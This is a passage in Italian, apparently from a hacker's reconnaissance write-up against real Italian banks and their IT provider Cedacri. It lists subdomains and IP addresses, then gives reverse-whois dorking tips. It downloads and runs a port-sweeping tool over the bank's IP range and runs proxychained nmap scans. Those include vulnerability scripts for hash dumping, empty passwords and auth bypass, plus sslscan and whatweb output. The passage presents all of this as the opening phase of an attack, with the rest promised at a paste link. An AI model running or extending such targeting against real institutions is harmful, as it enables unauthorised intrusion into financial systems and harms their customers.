816cflowext.cedacri.it:193.148.38.176
817fornitori.cedacri.it:193.148.38.177
818hbsai.cedacri.it:193.148.38.178
819vfs.cedacri.it:193.148.38.179
820ihb-pr.cedacri.it:193.148.38.183
821ihbcol-pr.cedacri.it:193.148.38.184
822laweb.cedacri.it:193.148.38.187
823sapfornitori.cedacri.it:193.148.38.188
824iportal.cedacri.it:193.148.38.192
825etruriamail.cedacri.it:193.148.38.194
826sftp.cedacri.it:193.148.38.196
827wf100.cedacri.it:193.148.38.197
828hd-pr.cedacri.it:193.148.38.198
829smtpmta.crvolterra.it:193.148.38.199
830mail.isi.sparkasse.it:193.148.38.201
831www.carifesim.it:193.148.38.202
832www.ciaoticket.it:193.148.38.205
833questrisk.cedacri.it:193.148.38.206
834webapps.cedacri.it:193.148.38.218
835staging.carife.it:193.148.38.219
836staging.ribes.it:193.148.38.220
837vipmail.cedacri.it:193.148.38.222
838webmon2.cedacri.it:193.148.38.228
839www.carivit.it:193.148.38.231
840chartanet.chartanet.it:193.148.38.232
841webshield.cedacri.it:193.148.38.233
842www.crcento.it:193.148.38.234
843pfweb.cedacri.it:193.148.38.236
844evotr.cedacri.it:193.148.38.237
845www.carire.it:193.148.38.238
846evo53.cedacri.it:193.148.38.239
847edgetemp.cedacri.it:193.148.38.240
848
8493) Whois e reverse whois
850
851Con una ricerca inversa utilizzando le informazioni di whois di un dominio o un intervallo
852di indirizzi IP una società può trovare altri domini.
853A mia conoscenza, non vi è alcun modo libero di fare ricerche inverse di whois, a parte un "dorking" :) con google:
854
855 193.148.38.106 site: www.findip-address.com
856 193.148.38.212 site: domaintools.com
857
858https://www.robtex.com/?dns=193.148.38.212
859https://www.robtex.com/en/advisory/dns/it/bancamodenese/mail/
860
8614) la scansione delle porte per raccogliere informazioni
862
863A differenza di altre tecniche, questa "parla" direttamente con il server
864dell'azienda, banca, ...ecc. Includo in questa sezione perché non è un attacco, è solo una
865raccolta informazioni. Gli IDS della società sono in grado di generare un avviso per
866la scansione delle porte, ma non devono preoccuparsi perché tutto Internet
867è in continua fase di scansione.
868
869Per eseguire la scansione basta usare nmap [6], invece per le aziende, banche ...ecc con intervalli IP molto lunghi,
870ZMap [7] o masscan [8] sono veloci.
871
872
873wget --no-check-certificate https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c
874
875gcc propecia.c propecia
876sudo cp propecia /bin
877
878./propecia 193.148.38. 22
879
880193.148.38.4
881193.148.38.3
882193.148.38.6
883193.148.38.7
884193.148.38.2
885193.148.38.8
886193.148.38.5
887193.148.38.9
888193.148.38.12
889193.148.38.13
890193.148.38.10
891193.148.38.11
892193.148.38.14
893193.148.38.1
894193.148.38.15
895193.148.38.18
896193.148.38.17
897193.148.38.16
898193.148.38.19
899193.148.38.21
900193.148.38.22
901193.148.38.27
902193.148.38.26
903193.148.38.25
904193.148.38.28
905193.148.38.33
906193.148.38.35
907193.148.38.23
908193.148.38.24
909193.148.38.20
910193.148.38.36
911193.148.38.32
912193.148.38.29
913193.148.38.31
914193.148.38.30
915193.148.38.34
916193.148.38.37
917193.148.38.39
918193.148.38.38
919193.148.38.41
920193.148.38.40
921193.148.38.42
922193.148.38.43
923193.148.38.44
924193.148.38.45
925193.148.38.46
926193.148.38.47
927193.148.38.48
928193.148.38.50
929193.148.38.51
930193.148.38.49
931193.148.38.52
932193.148.38.53
933193.148.38.54
934193.148.38.55
935193.148.38.57
936193.148.38.56
937193.148.38.58
938193.148.38.60
939193.148.38.59
940193.148.38.61
941193.148.38.62
942193.148.38.63
943193.148.38.65
944193.148.38.64
945193.148.38.67
946193.148.38.68
947193.148.38.66
948193.148.38.78
949193.148.38.75
950193.148.38.79
951193.148.38.76
952193.148.38.81
953193.148.38.73
954193.148.38.72
955193.148.38.80
956193.148.38.77
957193.148.38.71
958193.148.38.82
959193.148.38.70
960193.148.38.83
961193.148.38.84
962193.148.38.74
963193.148.38.85
964193.148.38.87
965193.148.38.86
966193.148.38.88
967193.148.38.89
968193.148.38.91
969193.148.38.90
970193.148.38.92
971193.148.38.93
972193.148.38.94
973193.148.38.95
974193.148.38.96
975193.148.38.97
976193.148.38.98
977193.148.38.99
978193.148.38.101
979..............
980Scansione del dominio e dei sottodomini con nmap
981193.148.38.106 www.bancamodenese.it
982193.148.38.212 mail.bancamodenese.it
983193.148.38.212 webmail.bancamodenese.it
984193.148.38.106 www2.bancamodenese.it
985
986
987nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389,3306,23 193.148.38.106
988PORT STATE SERVICE VERSION
98921/tcp closed ftp
99022/tcp closed ssh
99123/tcp closed telnet
99225/tcp closed smtp
99380/tcp open http Apache httpd 2.2.15 ((Red Hat))
994443/tcp open ssl/http Apache httpd 2.2.15 ((Red Hat))
9951433/tcp closed ms-sql-s
9963306/tcp closed mysql
9973389/tcp closed ms-wbt-server
998-----------------------------------------------------------
999sslscan www.bancamodenese.it
1000
1001ssl version
1002Prefered Server Cipher(s):
1003 SSLv3 256 bits DHE-RSA-AES256-SHA
1004 TLSv1 256 bits DHE-RSA-AES256-SHA
1005
1006 SSL Certificate:
1007 Version: 2
1008 Serial Number: -4294967295
1009 Signature Algorithm: sha256WithRSAEncryption
1010 Issuer: /C=US/O=DigiCert Inc/CN=DigiCert SHA2 Secure Server CA
1011 Not valid before: Sep 16 00:00:00 2016 GMT
1012 Not valid after: Sep 21 12:00:00 2017 GMT
1013 Subject: /C=IT/ST=Parma/L=Collecchio/O=Cedacri S.p.A./CN=www.carife.it
1014 Public Key Algorithm: rsaEncryption
1015 RSA Public Key: (2048 bit)
1016 Public-Key: (2048 bit)
1017 Modulus:
1018 00:b7:bb:95:9a:0f:30:d7:9d:5c:4d:80:dc:6a:d3:
1019 94:4d:fe:ab:e5:4b:cd:68:42:29:76:18:b5:74:14:
1020 ce:0e:de:d9:7e:2f:12:27:42:5d:7f:fd:16:d6:b9:
1021 53:2e:f3:96:c8:39:b2:15:e5:7e:e8:96:53:ac:d5:
1022 25:0d:84:b4:47:87:0e:91:97:f7:e8:41:0f:1e:f4:
1023 b1:4d:4d:92:af:58:aa:1f:ba:84:28:02:3e:65:a1:
1024 8f:77:8d:ad:cc:7e:d5:bb:9e:98:39:41:9a:70:85:
1025 94:59:40:3f:fa:32:6c:7f:f6:4f:ae:aa:91:6e:fa:
1026 66:81:a9:0c:21:2b:9d:ff:b2:37:43:ca:b2:f6:e2:
1027 cb:20:99:40:9f:b9:26:77:59:cb:c9:7e:ce:9a:ef:
1028 4e:27:83:a8:22:a7:33:a0:26:76:e1:c7:1b:4d:f7:
1029 85:68:ce:28:3a:1e:5a:83:b9:1b:63:e1:a8:b8:09:
1030 a9:e8:12:60:61:77:b7:06:1a:e5:ca:c2:0d:1f:ac:
1031 d9:04:3e:b7:05:3e:15:42:fe:fc:d8:35:fb:4f:e3:
1032 04:ea:4b:c2:cb:4b:7f:9d:f0:6e:76:2f:58:da:b5:
1033 90:5b:12:bd:39:72:00:3d:5d:41:00:4f:ba:37:40:
1034 4a:ff:57:0f:f1:8a:8d:96:fb:d8:be:b3:12:1b:9c:
1035 9a:09
1036 Exponent: 65537 (0x10001)
1037 X509v3 Extensions:
1038 X509v3 Authority Key Identifier:
1039 keyid:0F:80:61:1C:82:31:61:D5:2F:28:E7:8D:46:38:B4:2C:E1:C6:D9:E2
1040
1041 X509v3 Subject Key Identifier:
1042 28:33:0C:40:41:52:D2:E8:9D:1F:1B:29:72:AA:1C:2E:A4:29:27:85
1043 X509v3 Subject Alternative Name:
1044 DNS:www.carife.it, DNS:carife.it
1045 X509v3 Key Usage: critical <--# :)
1046 Digital Signature, Key Encipherment
1047 X509v3 Extended Key Usage:
1048 TLS Web Server Authentication, TLS Web Client Authentication
1049 X509v3 CRL Distribution Points:
1050
1051 Full Name:
1052 URI:http://crl3.digicert.com/ssca-sha2-g5.crl
1053
1054 Full Name:
1055 URI:http://crl4.digicert.com/ssca-sha2-g5.crl
1056
1057 X509v3 Certificate Policies:
1058 Policy: 2.16.840.1.114412.1.1
1059 CPS: https://www.digicert.com/CPS
1060 Policy: 2.23.140.1.2.2
1061
1062 Authority Information Access:
1063 OCSP - URI:http://ocsp.digicert.com
1064 CA Issuers - URI:http://cacerts.digicert.com/DigiCertSHA2SecureServerCA.crt
1065
1066 X509v3 Basic Constraints: critical
1067 CA:FALSE
1068 Verify Certificate:
1069 self signed certificate in certificate chain
1070
1071proxychains nmap -sT -PN -sV -p 21,22,80,443,1433,3389,3306,25,23 193.148.38.212
1072
1073PORT STATE SERVICE VERSION
107421/tcp closed ftp
107522/tcp closed ssh
107623/tcp closed telnet
107725/tcp closed smtp
107880/tcp open http Microsoft IIS httpd 6.0
1079443/tcp closed https
10801433/tcp closed ms-sql-s
10813306/tcp closed mysql
10823389/tcp closed ms-wbt-server
1083Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
1084
1085
1086
1087
1088
1089nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 193.148.38.* | awk '/open/{print $2 " " $3}'
1090
1091nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 193.148.38.* | awk '/open/{print $2}' | wc -l
1092
1093nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 193.148.38.* | awk '/open/{print $2}'
1094
1095nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 193.148.38.* | awk '/open/{print $2}' > ~/labnet-ip-list.txt
1096
1097sudo nmap -Pn -n --open -p21 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 193.148.38.106/24
1098
1099sudo nmap -Pn -n --open -p22 --script=sshv1,ssh2-enum-algos 193.148.38.106/24
1100
1101sudo nmap -Pn -n -sU --open -p53 --script=dns-blacklist,dns-cache-snoop,dns-nsec-enum,dns-nsid,dns-random-srcport,dns-random-txid,dns-recursion,dns-service-discovery,dns-update,dns-zeustracker,dns-zone-transfer 193.148.38.106/24
1102
1103sudo nmap -Pn -n --open -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo 193.148.38.106/24
1104
1105sudo nmap -Pn -n --open -p445 --script=msrpc-enum,smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-mbenum,smb-os-discovery,smb-security-mode,\
1106smb-server-stats,smb-system-info,smbv2-enabled,stuxnet-detect 193.148.38.106/24
1107
1108sudo nmap -Pn -n --open -p1433 --script=ms-sql-dump-hashes,ms-sql-empty-password,ms-sql-info 193.148.38.106/24
1109
1110sudo nmap -Pn -n --open -p1521 --script=oracle-sid-brute --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt 193.148.38.106/24
1111
1112sudo nmap -Pn -n --open -p3306 --script=mysql-databases,mysql-empty-password,mysql-info,mysql-users,mysql-variables 193.148.38.106/24
1113
1114sudo nmap -Pn -n --open -p3389 --script=rdp-vuln-ms12-020,rdp-enum-encryption 193.148.38.106/24
1115
1116sudo nmap -Pn -n --open -p5900 --script=realvnc-auth-bypass,vnc-info 193.148.38.106/24
1117
1118sudo nmap -Pn -n --open -p6000-6005 --script=x11-access 193.148.38.106/24
1119
1120sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 193.148.38.106/24
1121
1122
1123Scansione dei sottodomini
1124
1125whatweb -v mail.bancamodenese.it
1126
1127http://mail.bancamodenese.it [200] ASP_NET, Country[ITALY][IT], HTTPServer[Microsoft-IIS/6.0], IP[193.148.38.212], Microsoft-IIS[6.0][Under Construction], X-Powered-By[ASP.NET]
1128URL : http://mail.bancamodenese.it
1129
1130whatweb -v www2.bancamodenese.it
1131
1132http://www2.bancamodenese.it [403] Apache[2.2.15], Country[ITALY][IT], Email[webmaster@example.com], HTTPServer[Red Hat Linux][Apache/2.2.15 (Red Hat)], IP[193.148.38.106],
1133PoweredBy[Apache,the], Title[Test Page for the Apache HTTP Server on Red Hat Enterprise Linux]
1134URL : http://www2.bancamodenese.it
1135
1136
1137Continua ...
1138https://zerobin.net/?8971cbc71bf8fa5f#8jrtIhN/pOKR3VfHNH6FG6pDVie5LcQbrhTn/FL4eDk=